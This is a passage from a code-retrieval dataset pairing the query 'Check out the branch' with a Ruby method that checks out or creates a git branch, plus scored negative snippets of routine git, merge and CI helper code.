"def create\n @category = @current_branch.categories.build(category_params)\n @category.shop = @current_shop\n respond_to do |format|\n if @category.save\n format.html { redirect_to backend_shop_branch_category_path(@current_shop.slug, @current_branch, @category), notice: t('Category was successfully created.') }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def branch\n raise NotImplementedError.new(\"branch() must be implemented by subclasses of AbstractChangeset.\")\n end",
"def create\r\n\r\n\r\n end",
"def create\n @breadcrumb = 'create'\n @work_order_status = WorkOrderStatus.new(params[:work_order_status])\n @work_order_status.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @work_order_status.save\n format.html { redirect_to @work_order_status, notice: crud_notice('created', @work_order_status) }\n format.json { render json: @work_order_status, status: :created, location: @work_order_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work_order_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def current_branch; end",
"def current_branch; end",
"def create\n @solution = current_user.company.solutions.new(solution_params)\n \n # If the user whans to create a branch, the parameters send industry_branch_ids nil or empty\n # If not, it meens that the user select a branch from the collection select.\n if solution_params[:industry_branch_ids] != nil\n if not solution_params[:industry_branch_ids].empty?\n @solution.industry_branches << IndustryBranch.find(solution_params[:industry_branch_ids])\n else\n unless solution_params[:industry_branches_attributes] != nil\n begin\n IndustryBranch.find(solution_params[:industry_branch_ids])\n rescue e\n end\n end\n end\n end\n \n respond_to do |format|\n if @solution.save\n format.html { redirect_to new_benefit_path(:solution_id => @solution.id), notice: 'Solution was successfully created.' }\n format.json { render :show, status: :created, location: @solution }\n format.js {}\n else\n format.html { render :new }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_local_commit author: nil, branch:, file_name:, file_content:, message:, push: false\n on_branch(branch) do\n if (folder_name = File.dirname file_name) != '.'\n Dir.mkdir folder_name\n end\n File.write file_name, file_content\n run \"git add '#{file_name}'\"\n run \"git commit -m '#{message}' #{\"--author='#{author}'\" if author}\"\n run 'git push' if push\n end\nend",
"def process\n check_github_token\n config.base_jobs.each do |base_job_name|\n if branch_deleted?\n Job.delete!(base_job_name, branch)\n else\n Job.find_or_create_copy(base_job_name, branch).run!\n end\n end\n end",
"def create\n @block = Post::CreateBlock.new(@post, find_block).perform\n end",
"def perform\n # labels option cannot be null due to https://github.com/octokit/octokit.rb/pull/538\n result = GitHub.create_issue(repo_name, title, body, labels: [])\n # capture the information\n self.number = result.number\n self.data = result\n rescue => e\n raise CannotCreate, e.message\n end",
"def update_branch!(branch)\n self.name = Job.name_for_branch(self.name, branch)\n xml = REXML::Document.new(self.data)\n REXML::XPath.first(xml, '/project/scm/branches/hudson.plugins.git.BranchSpec/name').text = REXML::XPath.first(xml, '/project/scm/branches/hudson.plugins.git.BranchSpec/name').text.gsub /template/, branch\n self.data = xml.to_s\n\n self\n end",
"def build_branch(username, project, branch, params = {}, body = {})\n default_config.logger.warn('[Deprecated] Use instance method CircleCi::Project#build_branch instead')\n new(username, project, default_config).build_branch(branch, params, body)\n end",
"def set_branch\n @branch = Branch.find(params[:id])\n end"
] |
[
"0.7099601",
"0.69712394",
"0.6689589",
"0.6578555",
"0.65406656",
"0.64944696",
"0.64735776",
"0.64413387",
"0.64226407",
"0.6413515",
"0.6374352",
"0.6359841",
"0.63510823",
"0.63432366",
"0.6271255",
"0.6218912",
"0.61664665",
"0.6165921",
"0.61591184",
"0.6130691",
"0.6128678",
"0.61189073",
"0.6109308",
"0.61088413",
"0.60939515",
"0.6069814",
"0.6012611",
"0.6007069",
"0.5995885",
"0.59927535",
"0.59833324",
"0.5963677",
"0.5947214",
"0.5935799",
"0.5928736",
"0.5890184",
"0.58716536",
"0.5864884",
"0.58063626",
"0.5803983",
"0.5800261",
"0.57987016",
"0.5794878",
"0.57676196",
"0.57614505",
"0.57378656",
"0.57155246",
"0.57063276",
"0.5705132",
"0.5689642",
"0.5669901",
"0.5661698",
"0.5657421",
"0.5643911",
"0.56139827",
"0.55917495",
"0.5587283",
"0.5581428",
"0.55751127",
"0.55560464",
"0.55412036",
"0.5477313",
"0.54578114",
"0.5428276",
"0.540821",
"0.53953636",
"0.5389314",
"0.5376949",
"0.5370623",
"0.5363379",
"0.53458035",
"0.5342468",
"0.53341424",
"0.5326775",
"0.5322366",
"0.5320067",
"0.53062403",
"0.530289",
"0.5290899",
"0.52900636",
"0.5277042",
"0.52693033",
"0.52632934",
"0.52601635",
"0.52512676",
"0.52509785",
"0.52479523",
"0.52446437",
"0.5242762",
"0.5231008",
"0.5228889",
"0.52284974",
"0.52284974",
"0.5225968",
"0.5225545",
"0.52238166",
"0.52209187",
"0.5213511",
"0.52132565",
"0.52069485",
"0.5183961"
] |
0.0
|
-1
|
Public: Check out the branch
|
def check_out_branch
git.check_out branch_to_merge_into
rescue Git::NoBranchOfType
cli.say "No #{branch_type} branch available. Creating one now."
git.check_out DatedBranchCreator.perform(branch_type).branch_name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def checkout(ref, branch: true)\n raise\n end",
"def checkout_branch\n Dir.chdir(@dir) { git!('checkout', @configuration.branch) } if @configuration.branch\n end",
"def checkout(branch_name)\n local_branches = @rugged_repository.branches.each_name.to_a\n if !local_branches.include?(branch_name) && self.remote_branch_from_local(branch_name)\n @rugged_repository.branches.create(branch_name, self.remote_branch_from_local(branch_name))\n end\n @rugged_repository.checkout(branch_name)\n end",
"def checkout(number, branch=false)\n request = get_request_by_number(number)\n puts 'Checking out changes to your local repository.'\n puts 'To get back to your original state, just run:'\n puts\n puts ' git checkout master'\n puts\n if branch\n git_call(\"checkout #{request.head.ref}\")\n else\n git_call(\"checkout pr/#{request.number}\")\n end\n end",
"def checkout(branch)\n zombie_check\n workdir = File.join(@repo.dir.to_s, \".worktree\", @name, branch)\n worktree = @repo.new_worktree(workdir, self.class.branch_name(@name, branch: branch)) \n end",
"def checkout_branch(repo_path, branch)\n Dir.chdir(repo_path) {\n system('git fetch')\n system(\"git checkout #{branch}\")\n }\n end",
"def branch; end",
"def checkout_branch\n return unless self.working_directory\n\n commands = []\n if branch_exists?(self.branch)\n # Checkout the branch if it already exists\n commands << \"git checkout #{self.branch.shellescape}\"\n else\n # If a new branch is being created, we create it as an 'orphan' to not inherit changes from the master branch.\n commands << \"git checkout --orphan #{self.branch.shellescape}\"\n # We also need to reset the working directory to not transfer any uncommitted changes to the new branch.\n commands << \"git reset --hard\"\n end\n\n UI.message(\"Checking out branch #{self.branch}...\")\n\n Dir.chdir(self.working_directory) do\n commands.each do |command|\n FastlaneCore::CommandExecutor.execute(command: command,\n print_all: FastlaneCore::Globals.verbose?,\n print_command: FastlaneCore::Globals.verbose?)\n end\n end\n end",
"def git_checkout(setBranch, dir)\n getBranch = `cd #{dir}; git branch --list | sed -n \"/#{setBranch}/p\" | cut -d'*' -f2 | awk '{ gsub (\" \", \"\", $0); print}'`\n if getBranch.nil? || getBranch.empty?\n system_commands(\"cd #{dir}; git checkout -b #{setBranch}\")\n else\n system_commands(\"cd #{dir}; git checkout #{getBranch}\")\n end\n end",
"def git_checkout branch\n if branch==false\n return \"true\"\n else\n return \"git checkout -b branch origin/#{branch}\"\n end\n end",
"def cmd\n \"git checkout #{other_branch}\"\n end",
"def git_checkout_generated_branch\n g = Git.open('.')\n g.branch('generated').checkout\n end",
"def in_branch(name, &block)\n previous_branch = current_branch\n\n if name != previous_branch\n git \"branch\", name unless branches.include?(name)\n git \"checkout\", name\n end\n \n yield\n rescue StandardError\n STDERR.puts $!\n raise\n ensure\n unless current_branch == previous_branch\n git \"reset\", \"--hard\"\n git \"checkout\", previous_branch\n end\n end",
"def to_checkout\n @to_checkout ||= begin\n clean_local_branch\n remote_branch? ? \"origin/#{ref}\" : ref\n end\n end",
"def dumb_checkout(branch)\n sha = revparse(branch)\n commit = commit_data(sha)\n tree_sha = commit['tree']\n dumb_checkout_tree(tree_sha, '.')\n end",
"def git_checkout(branch = current_default_branch, create = false)\n if !create || `git branch -a`.split.collect {|l| l.gsub('remotes/origin/', '')}.sort.uniq.include?(branch)\n mysystem(\"git checkout #{branch} > /dev/null 2> /dev/null\")\n else\n mysystem(\"git checkout -b #{branch} > /dev/null 2> /dev/null\")\n end\n end",
"def downloadAndCheckout\n if Dir.exist?(SRC_DIR)\n puts \"Already downloaded sane-projets/backends\"\n puts \"\"\n return\n end\n\n puts \"Cloning sane-projets/backends\"\n systemWithLog(\"git clone https://gitlab.com/sane-project/backends.git \\\"#{SRC_DIR}\\\"\")\n\n puts \"Checking out tag: #{GIT_TAG}\"\n systemWithLog(\"cd #{SRC_DIR}; git checkout \\\"tags/#{GIT_TAG}\\\"\")\n\n puts \"\"\nend",
"def checkout_to_base_branch!\n current_branch = git_command.current_branch\n return if base_branch == current_branch\n\n puts \"Current branch is expected to '#{base_branch}', but '#{current_branch}'.\"\n puts \"Checkout to '#{base_branch}'.\"\n git_command.checkout(base_branch)\n end",
"def checkout\n end",
"def branch_project\n\t\t\tif project_is_configured_for_git?\n\t\t\t\tbegin\n\t\t\t\t\t# use -d instead of -D so not to remove uncommitted changes\n\t\t\t\t\t`git branch -d hamlr`\n\t\t\t\t\t`git checkout -b hamlr`\n\t\t\t\trescue Exception => e\n\t\t\t\t\t$stderr.puts \"Oh snap! Error: #{e.message}\"\n\t\t\t\t\texit 1\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t$stderr.puts \"Use git please. I feel bad doing this work without it.\"\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
"def fetch_and_pull_branch(branch_name)\n `cd #{project_repo_path} && git fetch && git checkout #{branch_name} && git pull origin #{branch_name} && git checkout #{self.trunk_branch}`\n end",
"def checkout(*args, **options)\n self.lib.checkout(*args, **options)\n end",
"def checkout_to(dir)\n logger.debug {\"Checking out #{@repository}@#{@revision} into #{dir}\"}\n end",
"def check_branch\n same_branch = `git branch -a` =~ /\\* #{@branch}/\n\n if current_remote = `git remote -v`.match(/\\s\\S+/)\n same_remote = current_remote[0].match(/#{@repo}/)\n end\n\n if same_remote && same_branch\n puts \"Deploy to #{@branch} canceled:\".red\n puts \"You cannot deploy to the same branch you are working in. This will overwrite the source for your site.\\n\"\n puts \"First, back up your site's source to a branch:\"\n puts \"\\n git checkout -b source\".yellow\n puts \" git push origin source\".yellow\n puts \"\\nWith that, you'll work in the #{\"source\".bold} branch and deploy to the #{@branch.bold} branch.\"\n abort\n end\n end",
"def checkout(repo_path, ref)\n Dir.chdir repo_path do\n git(\"checkout\", \"-q\", ref)\n end\n end",
"def current_branch; end",
"def current_branch; end",
"def clean_local_branch\n run_and_success?(\"#{git} show-branch #{ref} > /dev/null 2>&1 && #{git} branch -D #{ref} > /dev/null 2>&1\")\n end",
"def branch(repo, branch, options = {})\n get \"#{Repository.path repo}/branches/#{branch}\", options\n end",
"def create_branch\n ErrorEmittingExecutor.execute(\"git checkout -B #{BRANCH_NAME}\")\n\n # Ensure local branch matches any existing upstream branch; will reset to HEAD by default\n ErrorEmittingExecutor.execute('git reset --hard', exit_on_error: true)\nend",
"def create_branch\n check_current_repo\n exists = `git branch --list #{branch}`.squish == branch\n if exists\n `git checkout #{branch}`\n else\n `git checkout master` unless current_branch == 'master'\n `git checkout -b #{branch}`\n end\nend",
"def checkout\n\tend",
"def checkout(repo_path, ref)\n Dir.chdir repo_path do\n git('checkout', '-qf', revision_from_ref(repo_path, ref))\n end\n end",
"def cmd\n branch = self.known_options.first || default_branch\n c = [\"git checkout #{branch}\"]\n c << \"git pull\"\n c << \"git checkout #{current_branch}\"\n c.join(\"\\n\")\n end",
"def branch(name, options = {})\n get_path(\n path_to_branch(name),\n options,\n get_parser(:collection, Tinybucket::Model::Commit)\n )\n end",
"def checkout_tag(version)\n ui.info \"Checking out tag #{version}\"\n cookbook_path = get_cookbook_path(@cookbook_name)\n Dir.chdir(cookbook_path);\n\t\t `git checkout -b #{version}`\n\t\t if !$?.exitstatus == 0\n\t\t ui.error(\"Failed to checkout branch #{version} of #{@cookbook_name}\")\n\t\t exit 1\n end\n end",
"def branch\n @env.fetch( :branch, \"N/A\" )\n end",
"def check_duplicata_pr_branch(pr)\n puts `git branch --list #{pr}`\n `git branch -D #{pr} 2>/dev/null` if $CHILD_STATUS.exitstatus.zero?\n end",
"def create_branch_and_checkout(repo_path, commit, branch)\n `(cd \"#{repo_path}\" && git checkout -b #{branch} #{commit})`\n end",
"def branches; end",
"def branch(params)\n Processor.task(params)\n end",
"def branch(name)\n gitrepo.create_branch(name)\n end",
"def do_checkout\n super\n git = @logger.operation(:cloning, \"to #{@repo_dir}\") do\n ::Git.clone(@repository.url, @repo_dir)\n end\n do_fetch(git)\n do_checkout_revision(git)\n do_update_tag git\n end",
"def in_branch(message = nil)\n old_ref = @repo.head\n checkout\n yield @repo\n\n if message\n @repo.commit_index message\n @repo.head.commit\n end\n ensure\n old_ref.checkout\n end",
"def do_checkout path, shell\n raise RepoError,\n \"The 'do_checkout' method must be implemented by child classes\"\n end",
"def create_branch\n sh 'git branch gh-pages'\n sh 'git checkout gh-pages'\n end",
"def branch\n @branch ||= `git branch 2> /dev/null`[/\\*\\s(.+)$/, 1]\n end",
"def git_switch_to(branch:)\n if branch\n @git ||= Git.open(@root_dir)\n if branch != @git.current_branch\n @current_branch = @git.current_branch\n @stash = @git.branch.stashes.save(\"roku-builder-temp-stash\")\n @git.checkout(branch)\n end\n end\n end",
"def branch(options={})\n puts \"#{self.class.name}.#{__method__}\"\n puts options.inspect\n \n new_seam = self.seam.branch(self.id, options)\n if self.seam.errors.present?\n puts self.seam.errors.inspect\n self.errors.add(:branch, \"Unable to branch\")\n else\n return new_seam\n end\n\n end",
"def branch\n raise NotImplementedError\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).post(body)\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).post(body)\n end",
"def checkout(branch=self.branch) # :yields: working_dir\n if branch != @branch\n @branch = branch\n reset\n end\n \n if block_given?\n sandbox do |git, work_tree, index_file|\n git.read_tree({:index_output => index_file}, branch)\n git.checkout_index({:a => true})\n yield(work_tree)\n end\n end\n \n self\n end",
"def checkout(ref)\n if ref.resolvable?\n git [\"checkout\", \"--force\", @ref.sha1], :path => @full_path\n else\n raise R10K::Git::UnresolvableRefError.new(\n \"Cannot check out unresolvable ref '#{@ref}'\",\n :git_dir => @full_path)\n end\n end",
"def recent_builds_branch(branch, params)\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).get\n end",
"def show_link_to_branch(build)\n \"#{build.repository.base_html_url}/tree/#{build.branch}\"\n end",
"def restore_branch\n @@obj.branch(@@save_branch.pop).checkout\n end",
"def git_switch_from(branch:, checkout: true)\n if branch\n @git ||= Git.open(@root_dir)\n if @git and @current_branch\n @git.checkout(@current_branch) if checkout\n @git.branch.stashes.apply if @stash\n end\n end\n end",
"def branch\n %x[cd #{repo_path};git symbolic-ref HEAD 2>/dev/null | awk -F/ {'print $NF'}].chomp\n end",
"def current_branch\n repo.branches.find(&:head?)\n end",
"def checkout\n raise NotImplementedError\n end",
"def set_branch\n @branch = Branch.get_branch(params[:id], params[:workspace_id]).first\n end",
"def commit\n read_repo\n if @branches.count < 1\n render :template => 'repositories/commit'\n return\n end\n\n params[:action] = \"commit\"\n\n blank_hash = \"4b825dc642cb6eb9a060e54bf8d69288fbee4904\"\n @commit = @repository.get_commit(@branch)\n @parent = @commit.parent\n @parent = @repository.get_commit(blank_hash) if @parent == nil\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repository }\n end\n end",
"def branch \n extra[\"branch\"] \n end",
"def checkout(repo_path, rev)\n Dir.chdir repo_path do\n hg('update','--clean', '--rev', rev)\n end\n end",
"def checkout(revision = @resource.value(:revision))\n keep_local_changes = @resource.value(:keep_local_changes)\n stash if keep_local_changes == :true\n if !local_branch_revision?(revision) && remote_branch_revision?(revision)\n # non-locally existant branches (perhaps switching to a branch that has never been checked out)\n at_path { git_with_identity('checkout', '--force', '-b', revision, '--track', \"#{@resource.value(:remote)}/#{revision}\") }\n else\n # tags, locally existant branches (perhaps outdated), and shas\n at_path { git_with_identity('checkout', '--force', revision) }\n end\n unstash if keep_local_changes == :true\n end",
"def branch(group:nil)\n case group\n when :remote\n flag = \"-r\"\n when :all\n flag = \"-a\"\n when nil, :local\n flag = \"\"\n end\n\n `git branch #{flag}`.lines.map do |line|\n fields = line.split\n\n if fields.first['*']\n fields[1].strip\n else\n fields.first.strip\n end\n end\nend",
"def stable_branch(*)\n @stable_branch\n end",
"def branch\n 'refs/heads/master'\nend",
"def sync_addon_branch_to_blessed_repo(repoName, remoteBranch, localBranch, pushForce = false)\n self.log(INFO,repoName,\"Checkout #{remoteBranch} branch (it is perhaps not the default) for #{repoName}...\")\n s = system(\"git checkout #{localBranch}\")\n if !s\n print(\"[ERROR] No #{remoteBranch} branch in repository #{repoName}, Skip this repo!!!\\n\")\n self.log(INFO,repoName,\"Done.\")\n # Let's process the next one\n else\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Reset #{localBranch} to #{remoteBranch} for #{repoName} ...\")\n s = system(\"git reset --hard #{remoteBranch}\")\n if !s\n abort(\"[ERROR] Reset #{localBranch} to #{remoteBranch} for #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Push #{localBranch} branch content from exo-addons repository to blessed repository ...\")\n\n forceParam = \"\"\n if pushForce\n forceParam = \"--force\"\n end\n\n s = system(\"git push #{forceParam} blessed #{localBranch}\")\n if !s\n abort(\"[ERROR] Push of #{localBranch} branch updates to repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n end\n end",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{branch}\"\n branch\nend",
"def source_branch\n @client.branch(repo, options[:source]).commit.sha\n end",
"def fetch_remote_branch(target_branch)\n create_remote_branch(target_branch) unless remote_branch_exists?(target_branch)\n run_git_cmd 'fetch', 'origin'\n run_git_cmd('branch', '--delete', '--force', target_branch) rescue Gitx::Executor::ExecutionError\n checkout_branch target_branch\n end",
"def do_checkout\n super\n @logger.operation(:checkout_revision) do\n run_svn_no_chdir(\"checkout\", @repository.url, @repo_dir, get_tag_argument)\n end\n do_update_tag\n end",
"def recent_builds_branch(branch, params = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).get\n end",
"def branch\n if request.args.first == \"list\"\n request.args[1]\n else\n request.args.first\n end\n end",
"def get_branch \n branch = case @os_svninfo['URL']\n when /trunk/ then \"trunk\"\n when /branches\\/private\\/([^\\/]+)/ then $1\n when /branches\\/([^\\/]+)/ then $1\n when /patches\\/([^\\/]+)/ then $1\n when /tags\\/([^\\/]+)/ then $1\n else fail(\"Can't determine which branch I'm operating on\")\n end\n branch\n end",
"def checkout(url, forkok, options={})\n stream = nil\n stream = RubyDav.build_xml_stream do |xml|\n xml.D(:checkout, \"xmlns:D\" => \"DAV:\") do\n xml.D(:\"fork-ok\")\n end\n end if forkok\n request :checkout, url, stream, options\n end",
"def checkout_version(version_hash)\n git 'checkout', version_hash || 'HEAD'\n end",
"def checkout tag\n if @refresh\n sh 'git reset --hard'\n else\n sh 'git stash'\n end\n sh \"git checkout #{tag}\"\n end",
"def push_branch\n return puts \"Not pushing, isn't a branch: #{@name}\" unless valid?\n\n puts \"Checking if we can push something on #{@source.name}\"\n return puts \"...nothing to push for #{@source.name}\" unless dirty? && valid?\n\n puts \"...pushing #{@source.name}[#{shortsha(@source.name)}]\"\n @git.push('origin', @source.name)\n @pushed = true\n end",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n puts \"Deploying branch #{red branch}\"\n branch\nend",
"def newMet\n puts \"Try to create a new branch and then push it back to remote\"\n end",
"def current_git_branch\n branch = `git symbolic-ref HEAD 2> /dev/null`.strip.gsub(/^refs\\/heads\\//, '')\n logger.info \"Deploying branch #{branch}\"\n branch\nend",
"def ask_for_branch(git,message)\n branch = git_branches(git)\n return branch[0] if branch.size == 1\n ask_for_item(message,branch)\n end",
"def checkout\n name = @args.empty? ? ask('Repository') : @args.first\n repo = Unfuddle::Resources::Repository.find_by_abbr(name)\n unless repo.nil?\n path = ask('Path to checkout', :default => Dir.pwd)\n git_url = Unfuddle.account.git_url(name)\n shell(\"git clone #{git_url} #{path}\")\n else\n error 'Repository was not found'\n end\n end",
"def current_branch\n repo.branches.find(&:head?)\n end",
"def checkout(revision, destination)\n destination = File.join(destination, 'repo')\n revision = 'HEAD' if revision =~ /head/i\n [ \"rm -rf #{destination}\",\n \"#{git_cmd} clone #{repository} #{destination}\",\n \"cd #{destination}\",\n \"#{git_cmd} checkout -f -b deployed-#{revision} #{revision}\",\n \"git submodule init\",\n \"git submodule update\",\n \"echo updating db\",\n \"cd -\",\n ].join(\" && \")\n end",
"def checkout(revision, destination)\n scm :checkout, verbose, authentication, \"-r#{revision}\", repository, destination\n end",
"def work\n self.busy = true\n check_for_new_commits_on_branches\n self.busy = false\n end",
"def push(_branch)\n puts 'TODO: Implement Git.push'\n end",
"def fetch_update\n remote_branch = ErrorEmittingExecutor.execute(\"git branch -r --list origin/#{BRANCH_NAME}\")\n if remote_branch == 'origin/cocina-level2-updates'\n ErrorEmittingExecutor.execute(\"git fetch origin #{GIT_MAIN_FETCH_REFS} #{GIT_BRANCH_FETCH_REFS}\")\n else\n ErrorEmittingExecutor.execute(\"git fetch origin #{GIT_MAIN_FETCH_REFS}\", exit_on_error: true)\n end\nend",
"def git\n\tend",
"def handle_repo_push_request\n return unless @repository\n\n branch_name = payload[\"ref\"].sub(%r{\\Arefs/heads/}, '')\n branch = @repository.branches.where(name: branch_name).first\n if branch.present? && branch.convergence? && @repository.run_ci?\n sha = payload[\"after\"]\n branch.kickoff_new_build_unless_currently_busy(sha)\n end\n end"
] |
[
"0.7788348",
"0.76967955",
"0.7367898",
"0.7357754",
"0.7355018",
"0.73413795",
"0.7228302",
"0.72127545",
"0.71376985",
"0.7047927",
"0.7045361",
"0.69767135",
"0.6953916",
"0.6940387",
"0.6928976",
"0.6883503",
"0.6872455",
"0.6837401",
"0.6771787",
"0.6771127",
"0.6756959",
"0.67527413",
"0.6742347",
"0.6707278",
"0.670452",
"0.66910696",
"0.66910696",
"0.6687644",
"0.66756",
"0.6638371",
"0.66342634",
"0.6631758",
"0.663068",
"0.66228795",
"0.6607269",
"0.6598641",
"0.65543234",
"0.6542736",
"0.6540769",
"0.6521884",
"0.6517438",
"0.6507778",
"0.650408",
"0.64905",
"0.6451862",
"0.64499396",
"0.6446947",
"0.6446347",
"0.64443976",
"0.6441133",
"0.6431351",
"0.64259356",
"0.64216286",
"0.6420106",
"0.6410536",
"0.640301",
"0.6399816",
"0.63939285",
"0.635998",
"0.6357525",
"0.63520026",
"0.63329965",
"0.6330788",
"0.63274443",
"0.63215226",
"0.6296283",
"0.62926143",
"0.6291393",
"0.6286074",
"0.6278463",
"0.6276257",
"0.6276257",
"0.62752235",
"0.6268035",
"0.62676394",
"0.62601525",
"0.6247251",
"0.624299",
"0.6241328",
"0.6235795",
"0.6226511",
"0.6222923",
"0.622185",
"0.622185",
"0.622185",
"0.622185",
"0.622185",
"0.622185",
"0.6215882",
"0.6208229",
"0.62058",
"0.62038934",
"0.6202416",
"0.61949134",
"0.6193604",
"0.6187952",
"0.61817235",
"0.6175413",
"0.6169232",
"0.6164972"
] |
0.7366623
|
3
|
Public: Merge the pull request's branch into the checkedout branch
|
def merge_pull_request
git.merge pull_request.branch
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def merge_pr_totarget(upstream, pr_branch, repo)\n goto_prj_dir(repo)\n # check that we are in a git dir\n check_git_dir\n `git checkout #{upstream}`\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b PR-#{pr_branch} origin/#{pr_branch}`\n puts `git branch`\n end",
"def merge_pr_totarget(upstream, pr_branch)\n goto_prj_dir\n check_git_dir\n `git checkout #{upstream}`\n check_duplicata_pr_branch(\"#{pr_fix}#{pr_branch}\")\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b #{pr_fix}#{pr_branch} origin/#{pr_branch}`\n return if $CHILD_STATUS.exitstatus.zero?\n\n # if it fails the PR contain a forked external repo\n repo_external.checkout_into\n end",
"def update_pull_branch(repo, pull_number, options = {})\n opts = options.dup\n opts[:accept] = 'application/vnd.github.lydian-preview+json' if opts[:accept].nil?\n\n put \"#{Repository.path repo}/pulls/#{pull_number}/update-branch\", opts\n end",
"def merge_branch( tag=@current_branch, actor=nil )\n raise \"Invalid branch '#{tag}'\" if not is_head?(tag)\n\n tag.gsub!(/['\\\\]/, '')\n\n # switch to master branch\n set_branch(DEFAULT_BRANCH, actor)\n\n # merge target branch to master branch\n\n rv = nil\n begin\n rv = exec_git_cmd(\"git merge -n --no-ff --no-log --no-squash '#{tag}'\", \n actor)\n rescue CommandError => e\n $stderr.puts e.message\n end\n rv\n end",
"def fetch_and_pull_branch(branch_name)\n `cd #{project_repo_path} && git fetch && git checkout #{branch_name} && git pull origin #{branch_name} && git checkout #{self.trunk_branch}`\n end",
"def branch_to_merge_into\n @branch_to_merge_into ||= git.latest_branch_for(branch_type)\n end",
"def update\n @pullRequest = PullRequest.find(params[:id])\n\t\t@git = Git.init()\n\t\tDir.chdir(@pullRequest.source_repo.path)\n\t\trequestor_path = \"#{@pullRequest.repository.path}\"\n\t\t@git.pull(requestor_path, \"master\") # fetch and a merge\n\t\t@pullRequest.status = \"ACCEPTED\"\n if @pullRequest.save\n\t\t\trespond_with(@pullRequest)\n\t\telse\n\t\t\trender json: {error: \"An error occurred while updating your pull request\"}\n end\n end",
"def merge_branch\n git.merge branch\n rescue Git::MergeFailed\n cli.say \"Merge failed. Please resolve these conflicts.\"\n end",
"def updateRepo()\n $repo.checkout(BRANCH)\n\n # fetch\n remote = $repo.remotes['' << REMOTE]\n remote.fetch()\n\n # merge\n distant_commit = $repo.branches['' << REMOTE << '/' << BRANCH].target\n $repo.references.update($repo.head, distant_commit.oid)\nend",
"def merge(join_request)\n work = ::GitFunctionality::Repo.new.get_working_repo(join_request.curricula)\n work.checkout(join_request.target_stream)\n work.fetch\n work.pull\n work.merge(join_request.source_stream)\n work.branch(join_request.source_stream).delete\n work.push\n work.fetch\n work.pull\n end",
"def merge_pull(repo, pull_number, options = {})\n put \"#{Repository.path repo}/pulls/#{pull_number}/merge\", options\n end",
"def merge_pull_request(repo, number, commit_message='', options = {})\n put \"#{Repository.path repo}/pulls/#{number}/merge\", options.merge({:commit_message => commit_message})\n end",
"def merge(branch_name)\n remote_commit = last_commit(remote_branch_from_local(branch_name))\n\n @rugged_repository.references.update(rugged_repository.head, remote_commit.oid)\n end",
"def git_merge(branch = \"origin/#{current_default_branch}\")\n mysystem(\"git merge #{branch}\")\n end",
"def pull(args, options)\n _closest_branch = closest_branch\n\n if _closest_branch\n branch_name = clean_branch_name_for( _closest_branch )\n link = @url_generator.pull_request_url( branch_name, options[:to] || \"master\" )\n\n launch link\n else\n fail \"Could not find closest remote branch for sha: #{@git_object.oid.inspect}\"\n end\n end",
"def pull\n fetch\n merge\n end",
"def execute\n if (!self.pull_request_id)\n current = GitHub::PullRequest.current\n self.pull_request_id = current.number if current\n end\n self.pull_request_id ||= cli.prompt(\"Pull Request ID: \")\n GitHub.connect do\n if config.deployable_label\n with_labelling do\n merge\n end\n else\n merge\n end\n end\n end",
"def pull(branch=nil)\n # git pull --all\n command('pull', '--all')\n track_missing\n unless branch.nil?\n checkout branch\n end\n true\n end",
"def merge_branch_to_master(branch, tag, message, repo_path)\n\tDir.chdir(repo_path) do |path|\n\t\tcmds = [\n\t\t\t\t\"git checkout master\",\n\t\t\t\t\"git merge --no-ff -Xtheirs #{branch}\",\n\t\t\t\t\"git tag -a -f #{tag} -m '#{message}'\"\n\t\t\t\t]\n\t\tcmds.insert(0, \"git branch master origin/master\") unless branch_exists?(path, \"master\")\n\t\tapprove_and_execute(cmds, \"in #{path}\")\n\tend\nend",
"def update\n working_dir do\n git 'fetch', 'origin'\n git 'checkout', branch\n git 'reset', '--hard', \"origin/#{branch}\"\n git 'submodule', 'update', '--init'\n end\n end",
